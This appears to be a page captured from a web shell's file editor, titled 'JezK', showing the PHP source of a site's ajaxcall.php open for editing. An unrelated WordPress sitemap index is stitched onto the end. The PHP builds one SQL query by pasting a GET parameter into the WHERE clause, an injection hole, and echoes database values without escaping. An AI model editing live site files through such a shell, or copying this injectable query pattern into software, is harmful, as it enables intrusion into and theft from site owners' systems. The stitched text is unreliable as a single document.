
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: ajaxcall.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php
include_once('../includes/connect_database.php');
if($_REQUEST['type']==1)
{
$id=$_GET['id'];	
$val=0;	
if($_GET['val']){
	$val=1;
	}
$sql_query = &quot;UPDATE
				tbl_transport 
				SET status=? where id= ?&quot;;
						
			$stmt = $connect-&gt;stmt_init();
			if($stmt-&gt;prepare($sql_query)) {
				// Bind your variables to replace the ?s
				$stmt-&gt;bind_param('ss',$val,$id);
				
				// Execute query
				$stmt-&gt;execute();
				// store result 
				$save_result = $stmt-&gt;store_result();
				$stmt-&gt;close();
			}
}
if($_GET['type']==2){
	$id=$_GET['id'];
	$sql_query = &quot;UPDATE
				tbl_transport 
				SET delete_status=1 where id= ?&quot;;
						
			$stmt = $connect-&gt;stmt_init();
			if($stmt-&gt;prepare($sql_query)) {
				// Bind your variables to replace the ?s
				$stmt-&gt;bind_param('s',$id);
				
				// Execute query
				$stmt-&gt;execute();
				// store result 
				$save_result = $stmt-&gt;store_result();
				$stmt-&gt;close();
				echo 1;
			}else{
				echo  0;
				}

}

if($_GET['type']==3){
	$company=$_GET['value'];
	if($company==&quot;Both&quot;)
	{
		$where=&quot;(main_company='Both' or main_company='Drug' or main_company='Pharma')&quot;;
	}else
	{
		$where=&quot;(main_company='Both' or main_company='&quot;.$company.&quot;')&quot;;
	}
	$data='';
	//$sql_query = &quot;select * from\tbl_company where main_company= ? and delete_status=0&quot;;
				$sql =  mysqli_query($connect,&quot;SELECT * 
				FROM tbl_company 
				WHERE &quot;.$where.&quot; and delete_status = 0&quot;);
	while($results = mysqli_fetch_assoc($sql)){
	//print_r($results);
		$data.='&lt;option value=&quot;'.$results['id'].'&quot;&gt;'.$results['name'].'&lt;/option&gt;';
	}
	echo $data;
}

?&gt;
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://satyadevaresidency.com/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://satyadevaresidency.com/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://satyadevaresidency.com/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://satyadevaresidency.com/wp-sitemap-posts-gallery-1.xml</loc></sitemap><sitemap><loc>https://satyadevaresidency.com/wp-sitemap-posts-testimonial-1.xml</loc></sitemap><sitemap><loc>https://satyadevaresidency.com/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://satyadevaresidency.com/wp-sitemap-taxonomies-post_tag-1.xml</loc></sitemap><sitemap><loc>https://satyadevaresidency.com/wp-sitemap-taxonomies-gallery_cat-1.xml</loc></sitemap></sitemapindex>
